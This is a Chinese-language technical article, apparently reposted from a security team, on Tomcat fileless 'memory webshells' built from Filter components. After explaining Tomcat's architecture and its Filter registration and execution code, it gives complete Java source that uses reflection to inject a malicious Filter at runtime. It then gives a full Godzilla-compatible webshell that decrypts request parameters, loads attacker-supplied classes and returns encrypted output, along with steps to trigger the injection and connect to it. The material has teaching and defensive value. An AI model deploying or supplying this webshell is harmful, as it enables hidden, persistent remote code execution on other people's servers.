0x01 內存馬介紹
內存馬,通過中間件特性注冊為其組件的無文件webshell,其核心思路是訪問路徑映射和相關代碼的動態注冊。在tomcat中內存馬主要有以下幾種類型:
-
1.Servlet內存馬
-
2.Filter內存馬
-
3.Valve內存馬
-
4.listener內存馬
上述類型的內存馬在tomcat7(支持Servlet API 3.0)以后可以通過動態注冊方式向中間件注入,也因其可以動態注冊的特點所以可以在反序列化等可任意執行代碼的漏洞點進行利用。
0x02 Tomcat基礎
Tomcat基本組件和關系
tomcat結構在server.xml中的體現Tomcat是一種Web應用服務器,一個Servlet/JSP容器,Tomcat將以下幾種組件作為基本構成:
-
1.Server:Tomcat實例中的頂級容器組件,由一個或多個Service組成。
-
2.Service:Connector和Container的集合,負責數據接收、處理和返回,由一個Container和一個(可以多個)Connector組成。
-
3.Connector:連接器,顧名思義作為外部數據到Container的連接管道,封裝了底層通信協議處理方法,其作用是監聽某一端口隨時接收客戶端連接請求,當請求到達時根據協議不同做分類處理后交由Container并將Container的返回結果做封裝返回給客戶端。
-
4.Container:封裝和管理Servlet的容器,接收Connector傳入數據做具體邏輯處理后將結果返回到Connector。
Connector基本結構:Connector由多個protocolhandler(協議處理器)、Adapter(適配器)和Mapper(路由導航組件)組成,每個protocolhandler又由Endpoint、Processor組成。
-
1.Endpoint:通常與Connector相關聯,用來處理底層Socket的網絡連接。
-
2.Processor:Processor用于將Endpoint接收到的Socket封裝成Request。
-
3.Mapper:客戶端請求的路由導航組件,通過它能對一個完整的請求地址進行路由,通俗地說,就是它能通過請求地址找到對應的Servlet。
-
4.Adapter:Adapter用于將Request/Response進一步封裝為ServletRequest/ServletResponse對象交給具體某個Engine進行具體的處理/返回給客戶端。
在tomcat中Container是一個抽象概念,用來表示一組組件的集合。Container由四個子容器組成,分別是Engine、Host、Context、Wrapper組成,它們之間是負責關系,存在包含關系。
-
1.Engine:引擎,用于管理多個虛擬主機(Host)的請求處理。
-
2.Host:虛擬主機,用于管理多個web應用程序(Context)的請求處理。
-
3.Context:Web 應用程序,是 Tomcat 中的最小部署單元,包含多個 Servlet 和 JSP 文件以及其他 Web 資源。
-
4.Wrapper:是Servlet 的容器,包含一個Servlet和多個Filter,用于將 Servlet 映射到對應的 Context 上。
Tomcat的責任鏈設計模式:責任鏈模式是一種行為型設計模式,它允許將請求沿著處理鏈傳遞,直到有一個處理者能夠處理請求為止。每個處理者都只關心自己能否處理請求,并且只有在需要時才將請求轉發給下一個處理者。在 Tomcat 中,責任鏈設計模式用于處理請求和響應,通過將請求和響應傳遞給一系列的組件,最終生成響應并返回給客戶端。這種設計模式被廣泛應用于 Tomcat 中的各個組件,例如 Servlet 過濾器、Pipeline&Valve 等。
Tomcat中的管道-閥門模式:Tomcat的管道-閥門模式可以看作是責任鏈模式的一種實現。在Tomcat中,請求從Connector進入,經過多個閥門(Valve)處理,最終到達Servlet容器(Engine/Host/Context/Wrapper),完成請求處理。每個閥門都可以對請求進行處理,也可以選擇放行,將請求傳遞給下一個閥門進行處理,這就是典型的責任鏈模式的實現。但是,Tomcat的管道-閥門模式在責任鏈模式的基礎上,增加了對閥門的排序和管理,以及對請求和響應的處理。
Tomcat請求處理流程
如本文中第一張圖片所示,Tomcat中請求處理的過程可以簡單分為以下六步:
-
1.用戶發送請求:用戶通過瀏覽器或其他客戶端向Tomcat發送HTTP請求,請求特定的資源(例如,一個HTML頁面、一個Servlet或一個JSP頁面)。
-
2.連接器接受請求:Tomcat中的連接器(Connector)接受客戶端的請求,Connector是Tomcat中用于處理與客戶端的連接和通信的組件。Connector負責在Tomcat和客戶端之間建立網絡連接,并處理HTTP請求和響應。
-
3.協議處理器處理請求:接下來,Tomcat將接受的請求傳遞給適當的協議處理器(Protocol Handler)。Protocol Handler根據請求的協議類型進行選擇,例如HTTP或HTTPS。
-
4.請求在容器中處理:一旦協議處理器選擇了正確的請求處理器(Request Processor),它將請求傳遞給容器(Container)進行處理。在Tomcat中,容器是一個組件層次結構,用于處理Web應用程序和Servlet。容器包括Engine、Host、Context和Wrapper。請求將從Engine開始,通過Host和Context,最終到達Wrapper。Wrapper是最終處理請求的組件,它會執行與請求相關聯的Servlet。
-
5.Servlet處理請求:Servlet根據請求的類型進行處理,并生成相應的響應。Servlet可以從請求中獲取參數、執行業務邏輯,然后生成HTML或其他響應內容。
-
6.響應返回給容器:Servlet將響應返回給容器,容器將響應傳遞給適當的容器層次結構組件(Wrapper、Context、Host和Engine)。
-
7.響應返回給協議處理器:響應最終被傳遞回協議處理器,然后通過連接器返回給客戶端。
0x03 Tomcat_Filter內存馬
Tomcat_Filter組件
Filter是Wrapper的組件,即攔截器,如上圖所示其主要負責在請求到達Servlet之前/Servlet處理之后對Request/Response進行判斷、修飾等操作。Filter的注冊有三種常見方式,web.xml配置中配置注冊、注解方式注冊和動態注冊,通常使用前兩種方式進行注冊。 其組成部分如web.xml中的定義所示:
Myfilter
com.zzservlet.MyFilter
Myfilter
/hello
1.filter-name:filter的名稱
2.filter-class:filter的實現類類名
3.filter-mapping:filterMap中的內容,包含filter-name和url-pattern,其中url-pattern是當前攔截器執行的url路徑。
注冊流程分析
注冊過程演示
1.自定義Filter,實現Filter接口的三個基礎方法。
1.init(FilterConfigconfig):初始化自定義Filter,config參數為自定義Filter的配置
2.doFilter(ServletRequestrequest,ServletResponseresponse,FilterChainchain):自定義Filter的邏輯處理部分,FilterChain-->攔截器責任鏈,存儲當前web應用所有的Filter
3.destroy():銷毀
2.在web.xml配置文件中注冊定義Filter。
Myfilter
com.zzservlet.MyFilter
Myfilter
/hello
3.訪問指定的URL,判定自定義的Filter是否被執行。
代碼流程分析
在分析之前先了解幾個常用對象的定義:
filterConfig:存儲filter配置的對象,由context(當前應用上下文)、filterDef和filter實例組成
filterDef:存儲filter定義的對象,由filterClassName和filterName組成。
filterMap:存儲filtername和filterURLPattern。
filterDefs:存儲filterDef的hashmap
filterMaps:存儲filterMap的hashmap
filterConfigs:存儲filterConfig的hashmap
初始化
Tomcat中Filter的初始化過程主要分為三個步驟:配置解析、Filter對象的實例化、以及調用Filter的初始化方法。 配置解析 在Tomcat啟動過程中,會解析Web應用的配置文件(如web.xml),找到所有配置的Filter。通過解析配置文件,Tomcat將Filter的全類名以及Filter的參數信息存儲在一個FilterDef對象中,用于后續的實例化和初始化。 Filter對象的實例化 在Web應用啟動時,Tomcat會對所有配置的Filter進行實例化。在實例化過程中,Tomcat通過反射機制創建Filter的實例對象,并調用Filter的默認構造函數進行初始化。此時Filter的成員變量均未初始化,僅具有默認值。 調用Filter的初始化方法 實例化后,Tomcat會調用Filter的初始化方法init(FilterConfig config)進行初始化。在初始化方法中,Filter可以讀取配置文件中的參數,以及獲得ServletContext對象,進行一些必要的初始化操作。在這一過程中,FilterConfig對象被創建,并傳遞給init方法。FilterConfig對象包含了Filter的配置信息和ServletContext對象。
ApplicationFilterConfig實例在StandardContext#filterStart方法中生成,此方法遍歷filterDefs,當filterName不為空時生成其filterConfig并放入filterConfigs中。filterDefs是filterDef組成的HashMap,filterDef是存放filterName和filterClass名稱的對象。
publicbooleanfilterStart(){
if(getLogger().isDebugEnabled())
getLogger().debug("Startingfilters");
//InstantiateandrecordaFilterConfigforeachdefinedfilter
booleanok=true;
synchronized(filterConfigs){
filterConfigs.clear();
Iteratornames=filterDefs.keySet().iterator();
while(names.hasNext()){
Stringname=names.next();
if(getLogger().isDebugEnabled())
getLogger().debug("Startingfilter'"+name+"'");
ApplicationFilterConfigfilterConfig=null;
try{
filterConfig=newApplicationFilterConfig(this,filterDefs.get(name));
filterConfigs.put(name,filterConfig);
}catch(Throwablet){
ExceptionUtils.handleThrowable(t);
getLogger().error
(sm.getString("standardContext.filterStart",name),t);
ok=false;
}
}
}
return(ok);
}
自定義的filter執行init方法時傳入FilterConfig,FilterConfig內保存有以下幾個部分:filter,當前filter實例對象;filterDef,當前filter名稱與類名;context,當前web應用程序上下文。
執行階段
FilterChain在StandardWrapperValve#invoke
方法中調用ApplicationFilterFactory#createFilter
方法生成。
首先創建初始化一個空的filterChain--->獲取當前應用程序的攔截器映射FilterMap filterMaps[] = context.findFilterMaps();
,filterMap中存放著當前context中filter的URLpattern和filterName。-->遍歷filterMaps,當前請求url與filterMap中的urlpattern匹配時通過context獲取FilterConfig對象ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMaps[i].getFilterName());
并添加至filterChain中filterChain.addFilter(filterConfig);
publicApplicationFilterChaincreateFilterChain
(ServletRequestrequest,Wrapperwrapper,Servletservlet){
//getthedispatchertype
DispatcherTypedispatcher=null;
if(request.getAttribute(DISPATCHER_TYPE_ATTR)!=null){
dispatcher=(DispatcherType)request.getAttribute(DISPATCHER_TYPE_ATTR);
}
StringrequestPath=null;
Objectattribute=request.getAttribute(DISPATCHER_REQUEST_PATH_ATTR);
if(attribute!=null){
requestPath=attribute.toString();
}
//Ifthereisnoservlettoexecute,returnnull
if(servlet==null)
return(null);
booleancomet=false;
//Createandinitializeafilterchainobject
ApplicationFilterChainfilterChain=null;
if(requestinstanceofRequest){
Requestreq=(Request)request;
comet=req.isComet();
if(Globals.IS_SECURITY_ENABLED){
//Security:Donotrecycle
filterChain=newApplicationFilterChain();
if(comet){
req.setFilterChain(filterChain);
}
}else{
filterChain=(ApplicationFilterChain)req.getFilterChain();
if(filterChain==null){
filterChain=newApplicationFilterChain();
req.setFilterChain(filterChain);
}
}
}else{
//Requestdispatcherinuse
filterChain=newApplicationFilterChain();
}
filterChain.setServlet(servlet);
filterChain.setSupport
(((StandardWrapper)wrapper).getInstanceSupport());
//AcquirethefiltermappingsforthisContext
StandardContextcontext=(StandardContext)wrapper.getParent();
FilterMapfilterMaps[]=context.findFilterMaps();
//Iftherearenofiltermappings,wearedone
if((filterMaps==null)||(filterMaps.length==0))
return(filterChain);
//Acquiretheinformationwewillneedtomatchfiltermappings
StringservletName=wrapper.getName();
//Addtherelevantpath-mappedfilterstothisfilterchain
for(inti=0;i
向filterchain中添加filterconfigfilterChain.addFilter(filterConfig)
,遍歷filters是否存在要傳入的filterConfig防止重復添加,當filters.length為0時新建長度為10的filters并添加傳入的filterConfig
voidaddFilter(ApplicationFilterConfigfilterConfig){
//Preventthesamefilterbeingaddedmultipletimes
for(ApplicationFilterConfigfilter:filters)
if(filter==filterConfig)
return;
if(n==filters.length){
ApplicationFilterConfig[]newFilters=
newApplicationFilterConfig[n+INCREMENT];
System.arraycopy(filters,0,newFilters,0,n);
filters=newFilters;
}
filters[n++]=filterConfig;
}
至此filterChain封裝完成,返回到StandardWrapperValve#invoke方法中執行filterChain.doFilter(request.getRequest(), response.getResponse());
進入當前攔截器責任鏈的執行階段。
publicvoiddoFilter(ServletRequestrequest,ServletResponseresponse)
throwsIOException,ServletException{
if(Globals.IS_SECURITY_ENABLED){
finalServletRequestreq=request;
finalServletResponseres=response;
try{
java.security.AccessController.doPrivileged(
newjava.security.PrivilegedExceptionAction(){
@Override
publicVoidrun()
throwsServletException,IOException{
internalDoFilter(req,res);
returnnull;
}
}
);
}catch(PrivilegedActionExceptionpe){
Exceptione=pe.getException();
if(einstanceofServletException)
throw(ServletException)e;
elseif(einstanceofIOException)
throw(IOException)e;
elseif(einstanceofRuntimeException)
throw(RuntimeException)e;
else
thrownewServletException(e.getMessage(),e);
}
}else{
internalDoFilter(request,response);
}
}
在doFilter方法中會ApplicationFilterChain#internalDoFilter
,通過filterConfig.getFilter()
獲取filter實例后依次調用filterChain中filter的doFilter方法完成執行。
整個的執行過程總結如下:
-
1.StandardWrapperValve#invoke中調用ApplicationFilterFactory#createFilterChain方法,在createFilterChain中從當前context中取到filterMaps,遍歷filterMaps根據適配情況從filterMap中取到filterName再據此filterName從context中取到對應的filterConfig。
-
2.ApplicationFilterFactory#createFilterChain中調用ApplicationFilterChain#addFilter,在addFilter方法中將傳入的filterConfig裝入filterChain。
-
3.完成filterChain的封裝后執行其doFilter方法,依次執行其中每個filter對象的doFilter方法。
動態注冊Tomcat_Filter
實現邏輯
流程分析前要用的那幾個對象存儲在StandardContext對象中。
在Tomcat中,ServletContext是整個Web應用程序的基礎接口,代表當前Web應用程序的上下文環境,提供訪問Web應用程序配置信息和資源的方法。ApplicationContext是ServletContext的實現類,用于管理整個Web應用程序的生命周期和資源。而StandardContext則是ApplicationContext的具體實現類之一,用于表示一個Web應用程序的標準上下文實現。因此,它們三者之間是一種包含關系,即StandardContext是ApplicationContext的子類,ApplicationContext是ServletContext的子類。 根據其關系可通過如下方式獲取StandardContext對象。
ServletContextservletContext=req.getServletContext();
Fieldf=servletContext.getClass().getDeclaredField("context");
f.setAccessible(true);
ApplicationContextapplicationContext=(ApplicationContext)f.get(servletContext);
f=applicationContext.getClass().getDeclaredField("context");
f.setAccessible(true);
StandardContextstandardContext=(StandardContext)f.get(applicationContext);
創建一個要注入的惡意類
FilterevalFiler=newFilter(){
@Override
publicvoidinit(FilterConfigfilterConfig)throwsServletException{
System.out.println("evalFilterinit~");
}
@Override
publicvoiddoFilter(ServletRequestrequest,ServletResponseresponse,FilterChainchain)throwsIOException,ServletException{
System.out.println("evalFilterdoFilter~");
response.getWriter().println("injectsuccess!");
chain.doFilter(request,response);
}
@Override
publicvoiddestroy(){
}
};
Stringname="Hasaki";
首先初始化過程在filterStart方法中filterConfig = new ApplicationFilterConfig(this, filterDefs.get(name));
動態創建時并不會調用filterStart方法但與其構造對應的filterConfig對象原理一樣,使用創建其filterconfig對象用到了filterDefs那么應該首先創建惡意filter的filterDef并添加至當前應用的filterDefs中
FilterDeffilterDef=newFilterDef();
filterDef.setFilter(evalFilter);
filterDef.setFilterName(name)
filterDef.serFilterClassName(evalFilter.getClass().getName());
//通過StandardContext中的addFilterDef方法將其加入filteDefs中
standardContext.addFilterDef(filterDef);
創建其FilterConfig實例并加入當前應用的filterConfigs中
//創建filterConfig實例并加入到filterConfigs中
//由于ApplicationFilter構造方法是protected非public只能通過反射進行創建
Constructor[]constructors=ApplicationFilterConfig.class.getDeclaredConstructors();
constructors[0].setAccessible(true);
ApplicationFilterConfigfilterConfig=(ApplicationFilterConfig)constructors[0].newInstance(newObject[]{standardContext,filterDef});
f=standardContext.getClass().getDeclaredField("filterConfigs");
f.setAccessible(true);
HashMapfilterConfigs=(HashMap)f.get(standardContext);
filterConfigs.put(name,filterConfig);
根據filterChain實例的創建過程需要把filterMap定義出來并加入filterMaps
//創建filterMap實例并加入到filterMaps中
FilterMapfilterMap=newFilterMap();
filterMap.addURLPattern("*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
//通過StandardContext的addFilterMapBefore方法將filterMap加入到filterMaps中的第一個位置
standardContext.addFilterMapBefore(filterMap);
至此在tomcat中動態注冊自定義filter就完成了,完整代碼如下:
packagecom.zzservlet;
importorg.apache.catalina.core.ApplicationContext;
importorg.apache.catalina.core.ApplicationFilterConfig;
importorg.apache.catalina.core.StandardContext;
importorg.apache.catalina.deploy.FilterDef;
importorg.apache.catalina.deploy.FilterMap;
importorg.apache.catalina.Context;
importjavax.servlet.*;
importjavax.servlet.http.HttpServlet;
importjavax.servlet.http.HttpServletRequest;
importjavax.servlet.http.HttpServletResponse;
importjava.io.IOException;
importjava.lang.reflect.Constructor;
importjava.lang.reflect.Field;
importjava.lang.reflect.Method;
importjava.util.HashMap;
publicclassHelloWorldextendsHttpServlet{
@Override
protectedvoiddoGet(HttpServletRequestreq,HttpServletResponseresp)throwsServletException,IOException{
//創建惡意攔截器
FilterevalFiler=newFilter(){
@Override
publicvoidinit(FilterConfigfilterConfig)throwsServletException{
System.out.println("evalFilterinit~");
}
@Override
publicvoiddoFilter(ServletRequestrequest,ServletResponseresponse,FilterChainchain)throwsIOException,ServletException{
System.out.println("evalFilterdoFilter~");
response.getWriter().println("injectsuccess!");
chain.doFilter(request,response);
}
@Override
publicvoiddestroy(){
}
};
try{
Stringname="Hasaki";
ServletContextservletContext=req.getServletContext();
//判斷攔截器是否已經注冊過了
if(servletContext.getFilterRegistration(name)==null){
Fieldf=servletContext.getClass().getDeclaredField("context");
f.setAccessible(true);
ApplicationContextapplicationContext=(ApplicationContext)f.get(servletContext);
f=applicationContext.getClass().getDeclaredField("context");
f.setAccessible(true);
StandardContextstandardContext=(StandardContext)f.get(applicationContext);
//創建filterDef實例并加入到filterDefs中
FilterDeffilterDef=newFilterDef();
filterDef.setFilter(evalFiler);
filterDef.setFilterName(name);
filterDef.setFilterClass(evalFiler.getClass().getName());
standardContext.addFilterDef(filterDef);
//創建filterConfig實例并加入到filterConfigs中
Constructor[]constructors=ApplicationFilterConfig.class.getDeclaredConstructors();
constructors[0].setAccessible(true);
ApplicationFilterConfigfilterConfig=(ApplicationFilterConfig)constructors[0].newInstance(newObject[]{standardContext,filterDef});
f=standardContext.getClass().getDeclaredField("filterConfigs");
f.setAccessible(true);
HashMapfilterConfigs=(HashMap)f.get(standardContext);
filterConfigs.put(name,filterConfig);
//創建filterMap實例并加入到filterMaps中
FilterMapfilterMap=newFilterMap();
filterMap.addURLPattern("*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
}
}catch(Exceptione){e.printStackTrace();}
}
}
訪問http://localhost:8080/hello后訪問http://localhost:8080/出現自定義filter中doFilter方法中執行的打印內容。
實現一個Godzilla內存馬
代碼中/hello2可替換成任意存在的URL路徑或者設置"*"。
packagecom.utils;
importorg.apache.catalina.core.ApplicationContext;
importorg.apache.catalina.core.ApplicationFilterConfig;
importorg.apache.catalina.core.StandardContext;
importorg.apache.catalina.deploy.FilterDef;
importorg.apache.catalina.deploy.FilterMap;
importjavax.crypto.Cipher;
importjavax.crypto.spec.SecretKeySpec;
importjavax.servlet.*;
importjavax.servlet.http.HttpServletRequest;
importjavax.servlet.http.HttpServletResponse;
importjavax.servlet.http.HttpSession;
importjava.io.ByteArrayOutputStream;
importjava.io.IOException;
importjava.lang.reflect.Constructor;
importjava.lang.reflect.Field;
importjava.math.BigInteger;
importjava.security.MessageDigest;
importjava.util.HashMap;
publicclassMyGodzillaFilterShellextendsClassLoaderimplementsFilter{
privateServletContextservletContext;
StringPwd="pass";
Stringxc="3c6e0b8a9c15224a";
Stringmd5=md5(this.Pwd+this.xc);
publicHttpServletRequestrequest=null;
publicHttpServletResponseresponse=null;
publicStringcs="UTF-8";
publicMyGodzillaFilterShell(){}
publicMyGodzillaFilterShell(ClassLoaderz){super(z);}
publicClassQ(byte[]cb){
returndefineClass(cb,0,cb.length);
}
publicStandardContextgetStandardContext(){
StandardContextstandardContext=null;
this.servletContext=request.getServletContext();
try{
Fieldf=this.servletContext.getClass().getDeclaredField("context");
f.setAccessible(true);
ApplicationContextapplicationContext=(ApplicationContext)f.get(this.servletContext);
f=applicationContext.getClass().getDeclaredField("context");
f.setAccessible(true);
standardContext=(StandardContext)f.get(applicationContext);
}catch(Exceptione){}
returnstandardContext;
}
publicStringaddFiter(){
//通過request對象回去StandardContext實例對象
StandardContextstandardContext=getStandardContext();
StringfilterName="Aatrox";
Stringres=null;
//判斷filterName是否已被注冊過
if(request.getServletContext().getFilterRegistration(filterName)==null){
//注冊過程
try{
FilterDeffilterDef=newFilterDef();
filterDef.setFilterClass(this.getClass().getName());
filterDef.setFilter(this);
filterDef.setFilterName(filterName);
standardContext.addFilterDef(filterDef);
Constructor[]constructors=ApplicationFilterConfig.class.getDeclaredConstructors();
constructors[0].setAccessible(true);
ApplicationFilterConfigfilterConfig=(ApplicationFilterConfig)constructors[0].newInstance(newObject[]{standardContext,filterDef});
Fieldf=standardContext.getClass().getDeclaredField("filterConfigs");
f.setAccessible(true);
HashMapfilterConfigs=(HashMap)f.get(standardContext);
filterConfigs.put(filterName,filterConfig);
FilterMapfilterMap=newFilterMap();
filterMap.addURLPattern("/hello2");
filterMap.setFilterName(filterName);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
res="Success!";
}catch(Exceptione){
res="Error!";
}
}else{
res="Filteralreadyexisted!";
}
returnres;
}
publicstaticStringmd5(Strings){
Stringret=null;
try{
MessageDigestm=MessageDigest.getInstance("MD5");
m.update(s.getBytes(),0,s.length());
ret=(newBigInteger(1,m.digest())).toString(16).toUpperCase();
}catch(Exceptionexception){}
returnret;
}
publicstaticbyte[]base64Decode(Stringbs)throwsException{
byte[]value=null;
try{
Class>base64=Class.forName("java.util.Base64");
Objectdecoder=base64.getMethod("getDecoder",null).invoke(base64,(Object[])null);
value=(byte[])decoder.getClass().getMethod("decode",newClass[]{String.class}).invoke(decoder,newObject[]{bs});
}catch(Exceptione){
try{
Class>base64=Class.forName("sun.misc.BASE64Decoder");
Objectdecoder=base64.newInstance();
value=(byte[])decoder.getClass().getMethod("decodeBuffer",newClass[]{String.class}).invoke(decoder,newObject[]{bs});
}catch(Exceptionexception){}
}
returnvalue;
}
publicstaticStringbase64Encode(byte[]bs)throwsException{
Stringvalue=null;
try{
Class>base64=Class.forName("java.util.Base64");
ObjectEncoder=base64.getMethod("getEncoder",null).invoke(base64,(Object[])null);
value=(String)Encoder.getClass().getMethod("encodeToString",newClass[]{byte[].class}).invoke(Encoder,newObject[]{bs});
}catch(Exceptione){
try{
Class>base64=Class.forName("sun.misc.BASE64Encoder");
ObjectEncoder=base64.newInstance();
value=(String)Encoder.getClass().getMethod("encode",newClass[]{byte[].class}).invoke(Encoder,newObject[]{bs});
}catch(Exceptionexception){}
}
returnvalue;
}
publicbyte[]x(byte[]s,booleanm){
try{
Cipherc=Cipher.getInstance("AES");
c.init(m?1:2,newSecretKeySpec(this.xc.getBytes(),"AES"));
returnc.doFinal(s);
}catch(Exceptione){
returnnull;
}
}
publicbooleanequals(Objectobj){
parseObj(obj);
StringBufferoutput=newStringBuffer();
try{
this.response.setContentType("text/html");
this.request.setCharacterEncoding(this.cs);
this.response.setCharacterEncoding(this.cs);
output.append(addFiter());
}catch(Exceptione){
output.append("error:"+e.toString());
}
try{
this.response.getWriter().print(output.toString());
this.response.getWriter().flush();
this.response.getWriter().close();
}catch(Exceptionexception){}
returntrue;
}
//解析參數,傳入的值必須是對象數組
publicvoidparseObj(Objectobj){
Object[]data=(Object[])obj;
this.request=(HttpServletRequest)data[0];
this.response=(HttpServletResponse)data[1];
}
@Override
publicvoidinit(FilterConfigfilterConfig)throwsServletException{
}
@Override
publicvoiddoFilter(ServletRequestreq,ServletResponseresp,FilterChainchain)throwsIOException,ServletException{
//webshell實現部分,負責實現接收/返回數據解析、加解密等
try{
HttpServletRequestrequest=(HttpServletRequest)req;
HttpServletResponseresponse=(HttpServletResponse)resp;
HttpSessionsession=request.getSession();
byte[]data=base64Decode(req.getParameter(this.Pwd));
data=x(data,false);
if(session.getAttribute("payload")==null){
session.setAttribute("payload",(newMyGodzillaFilterShell(getClass().getClassLoader())).Q(data));
}else{
request.setAttribute("parameters",data);
ByteArrayOutputStreamarrOut=newByteArrayOutputStream();
Objectf=((Class)session.getAttribute("payload")).newInstance();
f.equals(arrOut);
f.equals(data);
response.getWriter().write(this.md5.substring(0,16));
f.toString();
response.getWriter().write(base64Encode(x(arrOut.toByteArray(),true)));
response.getWriter().write(this.md5.substring(16));
}
}catch(Exceptionexception){}
//chain.doFilter(req,resp);
}
@Override
publicvoiddestroy(){
}
}
在之前編寫的hello這個Servlet中嘗試觸發,這是在已知request對象的場景下,在未知場景下可結合前面反序列化回顯進行利用。
packagecom.zzservlet;
importcom.utils.MyGodzillaFilterShell;
importorg.apache.catalina.core.ApplicationContext;
importorg.apache.catalina.core.ApplicationFilterConfig;
importorg.apache.catalina.core.StandardContext;
importorg.apache.catalina.deploy.FilterDef;
importorg.apache.catalina.deploy.FilterMap;
importorg.apache.catalina.Context;
importjavax.servlet.*;
importjavax.servlet.http.HttpServlet;
importjavax.servlet.http.HttpServletRequest;
importjavax.servlet.http.HttpServletResponse;
importjava.io.IOException;
importjava.lang.reflect.Constructor;
importjava.lang.reflect.Field;
importjava.lang.reflect.Method;
importjava.util.HashMap;
publicclassHelloWorldextendsHttpServlet{
@Override
protectedvoiddoGet(HttpServletRequestreq,HttpServletResponseresp)throwsServletException,IOException{
FilterevalFilter=newMyGodzillaFilterShell();
evalFilter.equals(newObject[]{req,resp});
}
}
訪問http://localhost:8080/hello
使用godzilla連接http://localhost:8080/hello2
0x04 參考鏈接
https://github.com/j1anFen/shiro_attack https://www.yuque.com/tianxiadamutou/zcfd4v/kd35na#de7894b8
-
連接器
+關注
關注
98文章
14476瀏覽量
136430 -
服務器
+關注
關注
12文章
9123瀏覽量
85328 -
內存
+關注
關注
8文章
3019瀏覽量
74005
原文標題:0x04 參考鏈接
文章出處:【微信號:Tide安全團隊,微信公眾號:Tide安全團隊】歡迎添加關注!文章轉載請注明出處。
發布評論請先 登錄
相關推薦
評論